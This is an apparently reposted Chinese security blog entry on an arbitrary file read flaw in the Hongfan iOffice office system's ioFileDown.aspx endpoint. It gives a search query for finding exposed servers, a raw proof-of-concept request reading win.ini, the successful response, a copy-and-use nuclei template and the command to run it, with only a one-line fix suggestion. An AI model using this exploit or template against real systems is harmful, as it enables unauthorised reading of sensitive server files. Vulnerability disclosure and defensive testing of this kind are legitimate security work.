免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
红帆iOffice ioFileDown任意文件读取漏洞
02
—
漏洞影响
红帆iOffice办公系统,版本不详
03
—
漏洞描述
红帆iOffice移动办公系统,是广州红帆电脑科技有限公司基于微软.NET技术研发的,建立以笔记本、手机等便捷终端为载体实现的移动信息化系统。将智能手机、无线网络、OA系统三者有机结合,推出红帆iOffice移动办公系统,实现任何办公地点和办公时间的无缝接入,提高办公效率。红帆iOffice可接入原有的iOffice.net办公平台,用户即可以用PC管理自己的OA桌面,也可以通过移动设备(WAP手机、3G智能手机、IPAD平板电脑)访问OA系统,继续操作、浏览、管理公司的全部工作事务。ioFileDown接口处存在任意文件读取漏洞,会导致敏感数据泄露。
04
—
app="红帆-ioffice"
05
—
漏洞复现
POC如下读取c:/windows/win.ini文件
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Encoding: gzip
响应内容如下
HTTP/1.1 200 OK
Connection: close
Content-Length: 92
Cache-Control: private
Content-Disposition: attachment;filename=win.ini
Content-Type: application/octet-stream
Date: Tue, 31 Oct 2023 03:52:30 GMT
Server: Microsoft-IIS/8.5
Set-Cookie: ASP.NET_SessionId=ufesjfexe1c2quapbj304mu0; path=/; HttpOnly
X-Aspnet-Version: 2.0.50727
X-Powered-By: ASP.NET
X-Ua-Compatible: IE=EmulateIE7
00000000 3b 20 66 6f 72 20 31 36 2d 62 69 74 20 61 70 70 |; for 16-bit app|
00000010 20 73 75 70 70 6f 72 74 0d 0a 5b 66 6f 6e 74 73 | support..[fonts|
00000020 5d 0d 0a 5b 65 78 74 65 6e 73 69 6f 6e 73 5d 0d |]..[extensions].|
00000030 0a 5b 6d 63 69 20 65 78 74 65 6e 73 69 6f 6e 73 |.[mci extensions|
00000040 5d 0d 0a 5b 66 69 6c 65 73 5d 0d 0a 5b 4d 61 69 |]..[files]..[Mai|
00000050 6c 5d 0d 0a 4d 41 50 49 3d 31 0d 0a |l]..MAPI=1..|
证明存在漏洞
06
—
nuclei poc
poc文件内容如下,在本地创建hongfan-ioffice-ioFileDown-anyfileread.yaml文件,复制粘贴进去即可使用。
id: hongfan-ioffice-ioFileDown-anyfileread
info:
name: 红帆iOffice ioFileDown任意文件读取漏洞
author: fgz
description: '红帆iOffice移动办公系统,是广州红帆电脑科技有限公司基于微软.NET技术研发的,建立以笔记本、手机等便捷终端为载体实现的移动信息化系统。将智能手机、无线网络、OA系统三者有机结合,推出红帆iOffice移动办公系统,实现任何办公地点和办公时间的无缝接入,提高办公效率。红帆iOffice可接入原有的iOffice.net办公平台,用户即可以用PC管理自己的OA桌面,也可以通过移动设备(WAP手机、3G智能手机、IPAD平板电脑)访问OA系统,继续操作、浏览、管理公司的全部工作事务。ioFileDown接口处存在任意文件读取漏洞,会导致敏感数据泄露。'
severity: high
tags: 2023,fileread,红帆
metadata:
3 :
app="红帆-ioffice" :
verified: true
http:
raw:
|
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: {{Hostname}}
Accept: */*
and :
matchers:
type: dsl
dsl:
"status_code == 200 && contains(body, 'bit app support')"
运行POC
.nuclei.exe -t mypoc/红帆/hongfan-ioffice-ioFileDown-anyfileread.yaml -u 192.168.86.128:8888 --debug
07
—
修复建议
关注官方补丁公告。
原文始发于微信公众号(AI与网安):红帆iOffice ioFileDown任意文件读取漏洞复现 nuclei poc
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论